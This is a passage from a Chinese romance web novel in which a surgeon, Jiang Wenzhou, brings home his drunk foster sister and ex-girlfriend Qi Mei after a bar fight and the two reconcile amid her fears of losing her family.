“我不需要听这些。”江问舟出声打断道,声音很平静,“比他年纪更小,经历更坎坷的人我都见过,他还有你这个姐姐为他考虑,算不得很惨了。” 他一面说着话,一面将目光落在对方身上,不知道齐眉是怎么起手的,这人脸上两道抓痕,额头上有一道划伤,脖子上最惨,两边都有交错的抓痕,还是破皮的那种,红红肿肿,一看就是用的力气不小。 “这件事就这样过去吧。”他的语气很平静,平静到甚至有些冷漠,“不是我们有多大度,而是我们还手了,算是不占理,否则我会起诉你们。” 别卖惨,卖惨的人他见多了,给他下跪的都见过,没用,他只做衡量和取舍。 齐眉动手了,不用问,这事在派出所这儿肯定各打五十大板,就算提起民事诉讼,她也不见得能占理,搞不好还要赔对方医药费。 既然这样,不如就到这里息事宁人,反正齐眉也出过气了。 江问舟说完这番话,在心里一阵苦笑。 大概齐眉醒来知道,会觉得他怕事吧,竟然没有第一时间为她出头。 对方似乎也松了口气,连连点头应好,还满口保证回去以后会好好教育弟弟,一点都没有酒吧老板刚才说的嚷嚷要赔偿的痕迹。 事情到此为止,这人很快就被他姐姐扯走了,酒吧老板这时才嘟囔道:“我弟弟要是这样我管他去死……” 江问舟当没听到,拍拍怀里一动不动的齐眉,低声哄了句:“西西不怕,没事了。” 他以为她是被吓到了,但其实齐眉完全没有,她就是觉得那个人伤眼睛。 太丑啦!那个花衬衫,那个油乎乎的发型,多看一眼都伤眼睛! 她被江问舟拍了拍,忍不住一抖,眼睛紧紧闭上。 察觉她的反应,江问舟连忙接着安抚道:“我们马上就回去了,没事,没事的,西西别怕。” 他想起齐眉曾经被方仕平骚扰的事,那一次她是不是也这样害怕? 应该更甚,因为那次只有她一个人在面对,最该知道真相、最该站在她身边和她一起解决问题的是他,可他却不在。 强烈的愧疚和自责便就这样汹涌而来,将他拽入深渊,同时不停地撕扯着他的理智、他的心,让他差点喘不上气来。 他很勉强维持住冷静的情绪,拉着齐眉过去跟值班民警道谢,被教育说:“小姑娘家家不要这么莽,一言不合就动手多不好,万一酿成不可挽回的后果,那会后悔莫及的,做事不要太冲动。” 齐眉勾着脖子低头,抿着唇看自己的手指尖,一声不吭,既不点头,也不摇头,一副犟种似的表情,让江问舟有些想笑。 从派出所出来,迎面就是夏季湿热的风,吹在人身上温热得有些发黏。 江问舟扭头看一眼齐眉,见她还是垂着头,一副无精打采的样子,也不确定她是不是还醉着,便停下来问道:“要背吗?” 齐眉脚步一顿,随后抬头看着他,抿着唇,目不转睛的,但因为夜色迷离灯光昏暗,他看不清她眼睛里的内容。 但他还是转过身往下蹲了蹲,齐眉犹豫了一下,想绕过他直接走掉,脚又生了根,根本动不了,他的背影在夜色有种让人说不清的吸引力,让她完全无法抗拒。 网上那句话怎么说来着,拼尽全力仍无法战胜…… 那就不抵抗了。 齐眉眨眨眼,咬着唇,趴到了江问舟背上,他后背上的热量隔着轻薄的夏衫传递到她的皮肤上,烫得她一瞬间忍不住掉下眼泪来。 又不肯让他知道,便死死咬住嘴唇,梗着喉咙一声不吭。 江问舟托着她的腿,直起身来,看了一眼低声贴在一起的影子,恍惚了几秒才开口,很轻声地说了句:“西西,我们回家了。” 她没有回答,江问舟也没有觉得奇怪。 一边往前走,一边问她:“今天这件事……害不害怕?” 其实他也很想问,被方仕平骚扰的时候,她害不害怕? 一个学生,初入职场,就遇到大领导的骚扰,那并不是普通的男人向女人表达爱慕之情,而是上位者试图用权力让下位者臣服于自己,而那个时候的齐眉,没有任何应对这种事的办法。 她一定吓坏了,却一个字都没有对他说。 所以当今天出现类似的事,他除了一开始的担忧她受伤,其实没有多少愤怒之情,那点对骚扰者的憎恶,甚至比不过心底难以忽略的欣喜。 尽管觉得自己这种心情如此卑劣,他还是说了一句:“我今天很高兴,西西。” 齐眉在他背后一顿,嘴唇咬得更紧,一声不吭,但心里却气得要死。 对对对,你很高兴,去相亲了呗,见到优秀的未来对象人选了呗…… 然而下一秒,她就听到他说:“你今天终于给我打了这个电话,这个电话迟到了整整三年。” 齐眉又一怔,半晌才反应过来他这话是什么意思。 他说的是方仕平那件事。 大概是大脑选择性遗忘了那些不愉快的经历,齐眉已经记不太清楚事情发生那天自己到底做过什么,只记得她将方仕平推开后立刻就跑。 一直跑,一直跑,不停地跑,从十一楼到一楼,不敢坐电梯,怕等电梯时他会追出来,也不敢在其他楼层进电梯,总觉得电梯门一开,看见的就是方仕平那张阴沉的脸。 那是一个很晚才下班的晚上,她听见自己的脚步声在空荡楼梯间里盘旋回荡,像是魔鬼的爪牙在背后飞舞,她越跑越快,根本不敢停歇,仿佛只要停下一秒,她就会被抓回魔窟。 一直到她从医院大门跑出来,听到外面车水马龙的喧嚣,以及差点撞上她的汽车尖锐的刹车声,这才觉得自己活了下来。 就连当时车主气急败坏的那句“你疯啦,想死啊”,都觉得那么动听。 她想起这些事,既觉得有些陌生,又忍不住害怕,立刻伸手紧紧抱住江问舟的脖颈,把脸埋在他的背上。 “别怕,都过去了,他也进去了。”江问舟安慰她,声音轻轻的,“上个月,从申城开会回来之后,我提交了关于方智馨涉嫌学术不端的举报信,有充分证据表明她发表的部分署名论文其实是方仕平利用职权安排给她的。” 方仕平进去了,没有人再保她,往日嚣张跋扈的方大小姐就是一头没了牙的断爪老虎,只要一个小小的罪名,就有的是人去为难她。 “她今年本来升副高,被另一个竞争对手举报了,就是他们科的黄琪,你还记得么?” 江问舟声音轻快:“不记得也没关系,只要知道她们俩互相举报,谁也没上去,让另一个人上了就行。” 这种事一点都不罕见,但只有这次会令江问舟觉得,应该告诉齐眉。 齐眉听完先是一愣,随后忍不住心里一喜,好耶,没有什么比知道欺负过自己的人倒霉更让人开心的了,她可从来不是什么会以德报怨的人。 她咬着嘴唇晃了一下腿。 江问舟察觉她的小动作,忍不住笑了一下,问道:“你真的喝醉了吗?” 齐眉还是一声不吭,安安静静的,但圈在他脖颈上的胳膊只是松了一点,没有放开。 江问舟没有再问,甚至没有再说话,到了车门边,先把副驾驶的门拉开,才将她放下来,看着她低头垂眼地坐进去,弯腰帮她系好安全带,这才关上门从车头绕到另一边。 回去的路上齐眉原本被突发状况压得还算可以的酒意彻底爆发,才走到半路她就已经睡得不省人事。 最后是江问舟把她抱上去的,从她包里翻钥匙,翻的时候她被惊醒,江问舟动作一顿,收回手:“醒了?那你自己开门。” 齐眉被他扶着,伸手按了一下指纹锁,嘀一声过后,门开了,但没有江问舟想象中的画面。 “年年呢?”她问。 齐眉低头换鞋,闻言摇摇头,还是一个字都不说。 大概意思是不在家,那很可能是送去宠物店了,江问舟没有再问。 “自己能行吗?”他接着问。 说完环顾一眼四周,大概因为养了小动物的关系,家里的家具都处理得边角圆润,倒也不怕她会摔倒以后被尖锐的物体扎伤。 齐眉还是不吱声,但她向卫生间走去时,江问舟发现她走的是直线。 以他对醉酒人士浅薄的认知,还能走直线,就表示还行,不是特别醉,发生呼吸道窒息的概率比较小。 所以他觉得齐眉应该能自理,便点头道:“那我就先回去了,你早点休息。” 他就站在玄关,连鞋都没换,只要一转身,就可以拉开门走出去。 可就在他握上门把手的那一刹那,突然觉得背后一阵风吹来。 还伴随着脚步声,拖鞋和地板砖碰撞的啪嗒声凌乱得甚至透着慌张。 他还没来得及转身,就被人从背后一把抱住。 江问舟浑身一僵,顿时愣住,握住门把手的手倏地收紧,手背的青筋紧绷着微微凸起。 “……西西?”他不敢回头,半晌才有些不可置信地叫了声。 顿了顿,又变成有些冷淡的:“齐眉,松手。” 第37章 第三十七章(二合一)而如今,神佛应…… 时间已经将近半夜零点,夜色深重,四处万籁俱寂,愈发衬得屋子里安静异常。 又没有狗在闹,这份安静便更加突出。 在江问舟的一声“放手”之后,齐眉的动作僵了一下,像是要松手了,但下一秒又立刻缩紧胳膊。 很明显,她听进去了他说的话,也犹豫要不要照做。 当然,最后的结果是她拒绝了,用动作无声地回答他:我不。 江问舟顿时就被气笑了:“你知道你在做什么吗?撒手。” “……我不。”齐眉总算肯说话了,只是声音听起来哑得很,像粗粝的沙子划过玻璃,还透着执拗,“我不。” 江问舟眉头一皱:“你疯了?” 他不知道她为什么要这样,偏要在他已经接受他们不可能复合这件事,不再抱任何希望的时候,做出一些让他误会的举动。 这算什么,吃回头草?那是算她出尔反尔,还是算她心血来潮? 这之后呢?明天呢,以后呢,他们又该如何见面?她会不会因为自己今晚的失态,觉得实在丢脸,更加对他避而不见? 江问舟觉得喉咙有些发苦,还隐隐作痛,半晌才叹口气,温声道:“放开吧,快去洗漱休息,就当……你喝醉了,西西。” 喝醉之后做的事,可能是出自潜意识的本能,但未必是真正想做的,毕竟没有经过什么思考和权衡,所以不能当真。 他不能,她也不用。 说完这句话,江问舟就收回握住门把的手,低头要将齐眉的手从自己腰上拉开。 拉了一下,没拉动,他当即便有些恼,心里气急,捉住齐眉的胳膊就要往两边扯。 刚动了一下,就听到齐眉闷闷的声音从背后传来:“我知道……江问舟,我不要你去相亲,不要……我不准你和别人在一起……” 自从昨天在家里吃饭,亲眼见他答应去相亲,齐眉的心里就一直不痛快。 这种不痛快甚至伴随着噩梦,让她在黎明之前惊醒,醒来后再也无法入睡,睁着眼看着眼前的一片黑暗,不停地想起从前和他之间的点点滴滴。 她问自己,怎么办呢?真的能接受、要接受江问舟和别人在一起吗?那个曾经做过的她要喊另一个人做嫂子的噩梦要成真了,感觉如何? 她想啊想,想到胸口闷痛得再也躺不住,猛地坐起来,靠在床头就开始掉眼泪,越想越不甘,都不是难过哭的,是气哭的。 气江问舟怎么可以这样,他怎么能去相亲呢?这是背叛,背叛! ——这就不对劲,谁家好好的前女友或者妹妹,会觉得前男友或哥哥去相亲是对自己的背叛?根本不在意好吧。 但她已经全然顾不得了,满脑子都是生气的情绪,好不容易等到天亮,她渐渐从牛角尖里钻出来,反应过来自己的想法不应该…… 偏偏就在这个时候,孙茂芸在家庭群里发了信息@江问舟,说已经和陈阿姨那边说好了,帮他们约好了时间和地点,吃过晚饭后正好可以去喝喝咖啡聊聊天。 还大力推荐了最近上映的一部电影,说十分适合小情侣去看,另外怕江问舟认错人,又在群里贴了照片。 还说什么“妈妈看好你哦”,后面跟好几个捂嘴笑的表情。 她的期待和高兴显而易见,无可厚非,却让齐眉顷刻间破防,头痛得像是要炸开,眼泪顿时又下来了。 刚刚从牛角尖钻出来的人,立刻又调头钻了进去。 她想象了很多可怕的画面,看到江问舟偏向另一个人,看到干爸干妈让她不要和嫂子吵闹,让她要尊重嫂子,看到他们一家四口和和睦睦亲亲热热,而她站在门口不知道该不该进去…… 她将自己想象成了一个超绝小可怜,并且认为这一切终将发生。 于是提前贷款了恐惧和难过,哭得枕头都湿透,肿着眼睛将年年送去宠物店,然后跑去喝酒。 再后来就是晚上的事。 可是这些心路历程,她不好意思告诉江问舟,只能说她不想、不愿意他和别人在一起。 江问舟听了一阵哭笑不得,反问她:“为什么呢?” 齐眉讷了讷,没有立刻回答,他接着追问:“凭什么呢?西西,你以什么身份向我提出这个要求呢?” 齐眉的呼吸一顿,咬住嘴唇,憋了半天,还是一个字都说不出来。 说实话,在一开始的震惊和哭笑不得之后,江问舟心里是有些期待的,毕竟他本来想要的,就是能和齐眉复合。 是她一直对他表现出避之唯恐不及的态度,他才逐渐熄了这个念头的。 而且这念头下去都没有半个月,还处于随时随地能死灰复燃的阶段,她来这么一下,他很难不又生出一点希冀来。 可齐眉的沉默又让这点势单力薄的火苗慢慢熄灭下去,变成了更加强烈的失望,甚至是愤怒。 他用力将齐眉的胳膊扯开,挣脱她的桎梏,气笑道:“回答不上来?那你凭什么对我提这种要求,你不觉得过分吗?齐眉,我只是跟你谈了一次恋爱,不是领了你颁发的贞节牌坊,你不要我了,我还要给你守身如玉。” “你当我是什么?玩具?你不要了,也不准别人要?”他看着齐眉,眼睛里是深重的失望酝酿出来的复杂情绪,是愤怒,也是绝望,“凭什么呢?我到底……做得有多不好,得不到你的信任,也得不到你尊重?” “你要是真的不愿意……真的不愿意再和我在一起,那就放过我,也放过你自己,好不好?离我远一点,这辈子不和我说话都行,好不好!” 他说到最后,已经是有点崩溃的征兆,牙关紧咬着,面颊的肌肉迅速抽动,很明显在强忍着情绪。 齐眉想起来当时她提出分手,他先是以为她是开玩笑,等发现她来真的,当场破防的模样。 好像也是这样,想要发疯,但又很努力地控制着自己,尽量不要失态。 或者是,想要让自己显得不那么狼狈,能留两分最后的体面。 但事情洋洋事与愿违,事后想想,只觉当初自己溃不成军的模样太过不堪。 江问舟狠狠闭上眼,将头扭向一旁,深吸一口气,半晌才语气冷淡地说了句:“早点休息,我先回去了。” 话音刚落,齐眉就再次向他扑了过来,直接扑进他的怀里,紧紧抱住他的脖颈,热泪瞬间沾透他的衣衫。 察觉到胸前的湿热,江问舟将要转身的动作一顿,身上所有的力气仿佛都在此时卸了下去,被直接撞在了门上。 他背靠着厚实的门板,双手随肩膀垮塌的动作垂在身侧,视线越过齐眉的头顶,看向客厅的吸顶灯。 柔和明亮的灯光此刻如此闭眼,刺得他的眼睛像针扎一样疼。 “西西。”他叹了口气,声音里充满疲惫,“你想要什么呢?告诉我吧,我有的……都给你,不用这样……” 他想接着说,好啦,我答应你,以后都不去相亲了,你赶快松开我让我走吧,可还没来得及说到这里,就被齐眉堵了嘴。 柔软温热的唇上还沾着眼泪,微微的咸,还有些许颤抖,不知道是强忍哭声所致,还是因为紧张。 江问舟瞬间如堕梦中,所有没说完的话,也都在这一瞬间湮灭在此次的唇齿间。 这是他做美梦时才敢想象的画面。 可惜出现的时机不对,意味它不可能像梦境那般甜蜜。 江问舟在片刻的沉默过后,在齐眉的舌尖刚闯进他的口腔那一刹那,很坚定地用舌尖顶住她的舌尖往外一推,随即咬紧牙关。 他转头避开齐眉的唇,一边将她的胳膊拉下来,一边平静道:“你喝多了,西西,要蜂蜜水吗?我……” 话没说完,就被齐眉带着哭腔的急促声音打断:“不要,我不要,我也没有喝醉……江问舟,你别走好不好?别走……” 江问舟将没说完的话咽回去,沉默半晌,他深吸一口气,咬咬牙问道:“齐眉,你知道自己在做什么吗?” “我当然知道。”齐眉立刻回答,望着他的目光充满了委屈和执拗。 她抽抽鼻子,没忍住呜一下哭出声来,声音哽咽:“我不想家里多一个人,我不要嫂子……江问舟,我受不了……” “我一想到会这样我就睡不着。”她一边说一边还开始咳嗽,“我不要家里多一个别人,呜——” 哭声越来越大,到最后抽噎得连话都说不清楚了,一个嗝接一个嗝,眼泪跟水龙头一样哗啦啦往下流。 这话也不知道藏在心里多久了,才让她委屈成这样。 “这话你敢跟爸妈说吗?”江问舟叹口气,抬手帮她把眼泪擦了擦,到底是忍不住抱怨,“你也就欺负欺负我。” 齐眉抬手,用手背抹了一把眼睛,抽抽噎噎地说:“我、我不敢……自、自私不、不好的……” 明知道不好,可还是忍不住,人心就是这样,否则为什么嫉妒会让人变得面目可憎。 她只敢让江问舟知道,因为他们曾经太亲密了。 亲密到她敢跟他说:“你、别要别的……我、我也可以……” “你闭嘴!”江问舟脸一板,喝止住她没说完的话,“你知不知道自己在说什么?我们现在是什么关系,你要……” 他顿了顿,只觉心里那股邪火怎么都压不下去,脸色愈发的差,声音也变得低沉又严厉:“谁教你这样的?我不记得爸妈或者我,有教过你这样,不管是我,还是你以后的……要你用身体去留住的人,你觉得这是什么好人吗?” 他想直说这种行为就是不自尊不自爱,可面对齐眉又说不出口,怕她难堪。 齐眉仰头望着他,眼泪从眼角溢出,有的直接顺着太阳穴没入她的发际,有的从面颊一路从下颌沿着脖颈往下淌,一边哭一边紧紧抓住他的衣服。 “你不是别人啊……江问舟,你不是别人……” “我们分手了,还记得吗?我早就是别人了。”江问舟笑笑,抬手替她抹了一把眼泪,“我们这样才是……不对的。” 他突然就不生气了,反而觉得她脸上的水汽跑到了他的眼睛里。 “就算我一直一个人,这个家也会有新人加入的。”他的声音变得温和,试图跟她讲道*理,“你以后会有喜欢的合适的人,要组建家庭,是不是?你的爱人也是这个家的成员,这个家始终是会多人的,你到时候就习惯了。” “我不找,我不找。”齐眉使劲晃晃脑袋,望着他的目光有些发直,声音也开始含混不清,“我……我只要你的……” 她从小到大,喜欢的就只有他一个,而已。 可是江问舟已经不太敢完全相信她这话了。 他突然伸手,将齐眉拉进怀里,下巴压在她的头顶,深吸一口气,又侧头将脸贴在她的头顶。 语气呢喃:“你以前也是这样骗我的。” 骗得我心花怒放,骗得我信以为真,最后毫不犹豫地放弃我。 被偏爱的人总是有恃无恐,她为什么会这么做,甚至到了现在都还敢跟他来出尔反尔这一套,无非是知道他不会拿她怎么样。 齐眉心虚。 说要分手的是她,现在又要纠缠要后悔的也是她。 江问舟叹口气,拍拍她的背,说:“去洗澡吧,洗个冷水澡,等你洗完澡出来再说。” 醒醒脑子诶,我的祖宗,别等你明天醒来后悔了,又要循环之前经历过的一切。 可齐眉哪管这些,她心里急得很,就像江问舟一贯了解的那样,她这人有时候很钻牛角尖很固执的,认定的事就一定要做到。 她心里有个声音在叫嚣着要将江问舟留下,便不管他说了什么,直接将他撞在门上,仰着头去咬他的唇。 她的动作有些粗鲁,江问舟猝不及防被她咬了一口,满脑子都是明天要上班明天要上班—— 这么疼,这人不会把他嘴巴给咬破了吧,明天怎么见人? 他下意识想躲,但齐眉已经整个人缠了上来,贴在他身上扭来扭去地蹭了好几下。 你很难让一个男人在曾经有过数不清次数的床笫亲密,在感情最好的时候被断崖式分手,分开后仍然对对方念念不忘的女人面前一直保持冷静和理智。 何况就在不久前,他还抱着能和她复合的念头,这才放弃了几天,心志本来就不坚。 他身体的僵硬如此明显,齐眉心里一喜,舌尖急切地想探入他的口腔。 江问舟心里挫败地叹口气,抬手捏了捏她的后脖颈。 这是齐眉很熟悉的动作,意思是让她先等等。 齐眉不情不愿地停下来,手还紧紧攥住他的衣襟,满眼都是紧张。 江问舟低头看着她的脸,见她眼睫毛还是湿漉漉的,忍不住心里一软。 他的喉结上下滚了一下,问道:“西西,你知道这意味着什么吗?” ————— 意味着什么?齐眉当然心里有数,只是那句话在舌尖滚来滚去,怎么都说不出口。 她觉得怪打脸的,分的时候斩钉截铁,说绝对不可能再有什么了,可他刚回来,她就迫不及待地反悔。 当初说得有多信誓旦旦,现在脸就有多疼。 都说好马不吃回头草,她是扭头一看回头草在身后了,稍微扭捏了一下下,就扭头马不停蹄地往回奔。 这就衬得她这段时间的回避、纠结和难过特别傻,好像完全没必要。 见她一声不吭,瘪着嘴满面通红,似乎特别尴尬,眼睑低垂着,根本不肯抬头看他。 江问舟看着她,心里忽然一动。 他想起她小学时和玩得还不错的同桌闹矛盾,吵着吵着最后竟然打了起来,被老师抓去办公室罚站,放学之后还是他和孙茂芸一块儿去接的她。 她就站在教室办公室门口,胳膊上挂着早上出门时带的伞,低着头,孙茂芸问她知道错没有,她一声不吭,只一脸委屈和不忿地看着脚尖。 江问舟早就不记得她当初是因为什么才跟同学发生矛盾,却还记得她当时的表情,要哭不哭的,紧张、尴尬又难过。 和眼下如出一辙,虽然面容已经更改,但却仍然依稀可见旧时痕迹。 她总是要强,不肯轻易低头,后悔了也咬着牙硬撑,宁可独自难过,自己消解情绪,陷入“高自尊”的内耗模式。 江问舟叹了口气,像是想要故意刺激她,说了句:“我觉得我还算有点道德底线,没办法跟自己的妹妹发生关系。” 齐眉一怔,错愕地抬头看着他。 这对吗?难道以前我们那什么的时候,你就不是我哥了? 江问舟低头,在她水润明亮的双眸里看到自己的倒影,夹杂着震惊和错愕,好像十分不可置信似的。 他的心情突然便愉悦起来,脖颈一弯,鼻尖就贴上了她的,仿佛下一秒就要吻上她。 齐眉下意识闭上眼,刚要习惯性地仰头应承他,就听他问自己:“西西,我是你的谁?” 齐眉一怔,倏地睁开眼,看见他明亮如黑曜石一般的眼睛近在咫尺,像两个小小的漩涡,要将她完全吞没。 喉咙顿时忍不住吞咽了一下,下意识要往后撤步,但还没来得及,就被江问舟扣住腰往怀里一拉。 齐眉被他这猝不及防的动作拉得一头装进他的怀里,额头撞上他的锁骨,熟悉的触感和气息瞬间将她笼罩,那些往日里亲昵甜蜜的场景立刻浮现在眼前。 眼泪顿时又下来了,齐眉紧紧抓着他上衣两侧,一边哭一边闭着眼睛去亲他,哆哆嗦嗦的唇贴在他的颈部大动脉上。 江问舟觉得她的眼泪像是顺着皮肤钻进了自己的血液里,连同他的心底也变得潮湿起来。 他想说你要是不答应我复合我就走了,我可不干这种没名没分就跟人睡的事,可话到嘴边,又有些说不出口。 一时要挟她容易,就怕最后她没给他递梯子,他还得自己搭,这不搬石头砸自己的脚么。 他叹了口气,低头吻在齐眉的脸上,但在她扭头来咬他的唇时,又侧头躲开了。 拍拍她的后腰,温声道:“先去洗澡,我去一趟便利店。” 熟稔又亲昵的语气和动作,就连江问舟本人都在话音落地时产生了片刻恍惚。 仿佛回到了从前某一天,他晚归回到住处,齐眉已经等他许久,他刚进门她就冲过来,一边亲他一边抱怨他又回这么晚,他便抱着她笑眯眯地道歉。 然后问她洗漱没有,要不要吃宵夜,怎么不早点睡……原本有些冷清的屋子就会变得热闹起来。 “不、不去……你别去……”齐眉紧紧抱住他的肩膀,语气里透着惊慌,甚至带着央求。 “我不走,我买完……就回来。”江问舟仍旧靠在门上,试图安抚她的情绪,一再向她保证自己绝对不跑,还跟她陈述厉害,“你也不想怀孕是不是?要是不小心中招了,你愿意……把他留下来吗?” 他们现在的关系,说一句剪不断理还乱完全不为过,江问舟不觉得这个小生命适合在此时降世。 一旦真的出现意外,必将在家里掀起轩然大波,他还是更倾向于徐徐图之,父母年纪渐长,他也担心他们的身体,尤其是心脏,承受不了这样猛烈的冲击。 但齐眉完全听不进去,或者说,她听进去了,但不同意江问舟出门。 “你叫外卖!”她揪着他的衣摆,神情还是紧绷的,“你走了就不回来了的……” 江问舟一噎,片刻后冷笑,突然翻旧账:“你以为我是你吗,玩不告而别那一套?我不记得我教过你这样。” 怎么看他都才是更有可能患得患失的那个吧? 齐眉抽噎一下:“……可是你今天去相亲了……你怎么可以去!” 她最后的声音高扬起来,尖锐又沙哑,愤怒地指责他的背叛。 江问舟不为所动,反问她:“谁让你不要我了?” 你这么在意我,为什么在这之前一直避着我,连和我独处、和我多说句话都不愿意? 越想越气,他拉着脸,把她抓着自己衣服的手掰开,没好气道:“去洗澡,祖宗!” “我不……”齐眉咬咬嘴唇,眼圈通红,“我们一起洗,行不行?” 江问舟:“……” 他看着她,想说让她听听自己这说的是正经话么,可话还没出口,就先从她眼底看到了丝毫没有退散迹象的紧张和恐惧。 这种情绪太过真切,以至于江问舟觉得有些疑惑,不知道她为什么会这样? 他只是去见了一个碍于长辈情面不好推托的相亲对象,而且一开始他也说过自己没有这个意向,她为什么还是会这么害怕? 是因为他的拒绝不够坚决,引起了她的误会?还是她想到或者知道了什么? 江问舟觉得自己应该问一下这个问题,但齐眉没有给他机会,直接拽着他就往卫生间走。 要去卫生间,就会经过主卧的房门。 那天就是在这个位置,他隔着虚掩的房门,听到齐眉和任清葭的对话。 她说她为了接近他,为了能配得上他,做了很多自己不喜欢的事,坚持得很辛苦,她将这些事称之为“媚男”,说自己是“恋爱脑”,说更喜欢现在的自己…… 江问舟突然停下,心头翻滚的复杂情绪突然平复许多,就像是被泼过一盆冷水。 方才生出的热切希望顿时灭了不少,他变得迟疑起来。 齐眉发现拽他不动,停下来,疑惑地回头看他,嘴唇动了动,却没发出一个音节。 江问舟定定地看了她好半晌,才问道:“西西,你真的知道自己……在做什么吗?现在这样是……取悦你自己,做自己想做的事,还是想……通过取悦我,达成你的目的,而你并不喜欢这件事?” 他问得很艰难,越到后面,越觉得嗓子发痛。 说完以后也不等齐眉回答,叹口气就继续道:“如果你只是单纯的……不想要、嫂子……不用这么牺牲自己。” 他目不转睛地看着齐眉,语气认真:“你不会有嫂子的,西西,我们的关系太亲近了,就算做不成恋人,也还要继续做家人,经常会见面,我没办法保证我们以前的事一定能这辈子都瞒得滴水不漏,我的枕边人应该会很容易发现某些蛛丝马迹,所以最好的办法就是没有这个枕边人。” “你说对吗,西西?”他问齐眉,“这是不是……才是你真正想要的?” 他的目光平静,像火焰燃烧之后剩余的灰烬,齐眉看得一愣,旋即反应过来,连忙使劲摇头。 “不,不是的……我、我不是……” 她话没说清楚,就直接一把抱住了江问舟,连声说不是,她担心的不只是□□爸干妈知道她和将江问舟越过兄妹界限的事,还有…… “我昨天晚上睡不着……”她说话的时候含含糊糊的,带着哭腔,说了一句又开始咳嗽。 江问舟轻轻拍两下她的背,沉默地听她边咳嗽边继续说:“我做梦梦见你让我叫别人嫂子,你们相处得很好,干爸干妈也很喜欢她……你也喜欢她……我们关系不好,你们都让我让让她,慢慢……我就不是这个家的了……呜呜呜——” 她说到最后又哭出声来,没有之前那么大声,但呜呜的听起来比之前还要伤心难过。 江问舟有些哭笑不得,想安慰她两句,可还没开口,就听她继续哽咽着道:“我做过好多好多次一样的梦,我害怕……我没有爸爸妈妈,只有你们了……” 他立刻便想起那年传来齐叔叔没了的消息的前一天,她还问过孙茂芸,干妈,我爸爸什么时候才回来呀,我都快开学了。 那时候她小小的,满脸都是忧愁,担心赶不及回去开学,可是她再也没有回去过,那个只读了两年的学校里,应该有她玩得很好的小伙伴吧,后来应该再没见过了。 原本以为只是一个普通至极的暑假,没想到后来再也没回去,就像念书时对着语文课本背的那句“赌书消得泼茶香,当时只道是寻常”。 那个夏天对于齐眉来说,应该是记忆犹新的,她还没来得及消化没有了爸爸这件事,就要尽快适应新环境,新的家庭新的学校新的老师同学。 被逼着长大,被逼着学会什么是寄人篱下。 干爸干妈再好,还是会和自己亲爸妈有着天然区别,江家有她的房间又怎么样,到底不真的是她的家。 她花了多少时间才适应,这个心路历程和个中艰难江问舟不得而知,但想来正是因为这段经历,才让她觉得没有安全感,因为她发现,她在意的人也好东西也罢,原来是那么容易失去的。 所以她才小心翼翼的,想要保住自己现有的一切。 江问舟越想心里越难过,日有所思,夜有所梦,她是特别害怕,才会做这样的梦吧? “……怎么会呢?”他吸吸鼻子,侧脸贴在她的头顶,再也硬不起心肠,“我们西西特别重要,怎么可能会不是我们家的了?不管你去哪里,以后会和谁在一起,过什么样的生活,家永远都是你的家。” “或者说得再远一点,就算日后爸妈百年,我在的地方,也是你的家。”他的声音也变得哽咽起来,“所以西西……不要委屈自己,不要做自己不喜欢的事,好不好?” 说完顿了顿,他又说了一句对不起。 齐眉想起来那天晚上,他在今天之前最后一次来她家,她送他到楼下时,他对她说过的话。 “不管是当哥哥,还是当男朋友,都很不称职,对吧?” 她当时只顾着惊讶,完全没想到要回应他这个问题。 怎么可能呢?他明明是世界上最好的哥哥,也是最最好的爱人,他要是不好,她为什么会不愿意他和别人在一起? “我喜欢的……”她抽抽噎噎地抱住江问舟的背,“我只喜欢你,我、我没有委屈……江问舟,你亲亲我,亲亲我吧,你是不是不喜欢我了……” 江问舟觉得自己脑子里最后一丝紧绷的弦也断了。 他觉得任何人在面对自己喜欢的人哭着问自己是不是不喜欢她了时,都没有继续保持冷静。 怎么会不喜欢呢?他对她的感情,是在十余年时间里朝夕相处生出的无上默契,是深入骨髓的习惯和依恋,他看着她从小朋友长成大姑娘,从青涩到成熟,他见过她每的每一面,并且深深为之着迷。 他再也找不到另一个人和她相似。 在分开的这两三年里,他努力将家仍然保持着她还在时的样子,催眠自己,这不过是一次短暂的分离,他们终究会团聚。 颤抖的双唇小心翼翼地印上她的额头,齐眉有些迫不及待地仰头迎上他,唇一张,任由他的舌尖闯进来。 那种唇齿交融的感觉太熟悉了,熟悉到齐眉觉得自己的灵魂都颤抖了一下。 屋里明亮而柔和的灯光落在他们身上,空气仿佛变得安静而缓慢,让她觉得恍惚,以为回到了从前。 直到她被江问舟按在怀里,听到他说:“你先去洗澡。” 她立刻回过神来,再次抓住他的胳膊:“……我们一起去!” “……我在外面等你。”江问舟噎了一下,声音淡淡,“我怕明天起不来上班。” 齐眉不愿意,委委屈屈地问他:“你跑了怎么办?” 江问舟拿她没办法,叹口气:“我就在门口,有影子,你能看见吧。” 她这才一步三回头地进了浴室。 这一晚到底什么也没发生,因为实在不方便,江问舟担心会出意外。 这是他第一次进齐眉在这套房的房间,陈设都陌生,可又好像很熟悉,到处都是他熟悉的属于齐眉的气息。 他好像在这一刻回到了位于申大一院附近那间一室一厅的小房子。 齐眉其实不在意最后会不会发生什么,她要的是江问舟不跑就行。 她本来就有点身体不舒服,又喝过酒,加上哭得累了,很快就抓着江问舟的衣襟睡着过去。 江问舟将她搂在怀里,像以前那样低头吻她的眉心。 台灯的灯光昏黄,落在墙上时将他们的影子也投了上去,江问舟抬眼看见,忽然想起不记得是什么时候,他们曾经在夕阳下温存的亲吻。 他抚过怀里人的发梢、脸颊和锁骨,指尖有些抖,动作很轻,像是生怕将她惊醒,但又忍不住将她紧紧抱进怀里。 去年春节,他和同样留在申城过年的师兄一家一起出游,在安宁寺烧香许愿,师兄问他许了什么愿,他笑笑没应答。 而如今,神佛应是听到了他的祈求。 第38章 第三十八章(二合一)给你当男人真是…… 江问舟是被一阵钢琴乐曲声从梦中吵醒的,睁眼看见陌生的天花板,不由得一愣。 还没完全反应过来,就觉得怀里有东西动了一下。 随后便看见一条胳膊聪被子里伸出来,往床头柜的方向摸索。 顺手往他这边一推,怀里立刻变得空落落的,江问舟立刻清醒过来。 扭头先是看见齐眉头上束着头发的紫色真丝大发圈,随着她去够手机的动作,光洁白皙的脖颈便映入他的眼帘,在晨光里柔润如羊脂玉。 “几点了?”他吸了口气,出声问道。 “……醒了?”齐眉拿到手机,回头看他一眼,这才摁亮手机屏幕,看一眼时间,“七点了。” 江问舟回忆了一下之前下班从单位到她家的距离,快的话半个小时能到,应该不会迟到……吧? 他犹豫片刻,还是找到自己的手机,给秦一鸣发信息:【有点私事,可能会晚到,麻烦帮忙请一个小时的假。】 接着问早上的手术排在什么时候。 这是端午节后第一个工作日,周二,恰好是他的全天手术日。 